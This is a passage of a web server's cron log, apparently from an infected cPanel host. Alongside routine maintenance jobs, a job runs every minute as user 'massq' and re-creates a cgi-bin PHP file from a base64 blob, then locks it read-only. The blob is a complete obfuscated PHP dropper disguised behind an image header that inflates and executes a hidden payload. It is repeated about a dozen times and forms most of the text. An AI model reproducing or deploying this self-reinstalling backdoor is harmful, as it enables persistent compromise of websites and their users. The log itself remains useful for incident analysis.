&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:50:01 server CROND[16859]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 11:50:01 server CROND[16860]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:50:01 server CROND[16861]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 11:50:01 server CROND[16864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:50:01 server CROND[16862]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:51:01 server CROND[17746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:52:01 server CROND[18556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:53:01 server CROND[19428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:54:01 server CROND[20369]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:55:01 server CROND[21206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:55:01 server CROND[21207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:55:01 server CROND[21218]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:56:01 server CROND[22098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:57:01 server CROND[22652]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 11:57:01 server CROND[22653]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:58:01 server CROND[23297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:59:01 server CROND[24008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:00:01 server CROND[24530]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Nov 11 12:00:01 server CROND[24533]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:00:01 server CROND[24534]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 12:00:01 server CROND[24532]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 12:00:01 server CROND[24535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:00:01 server CROND[24536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:01:01 server CROND[25367]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 12:01:01 server CROND[25368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:01:01 server run-parts(/etc/cron.hourly)[25367]: starting 0anacron
Nov 11 12:01:01 server run-parts(/etc/cron.hourly)[25381]: finished 0anacron
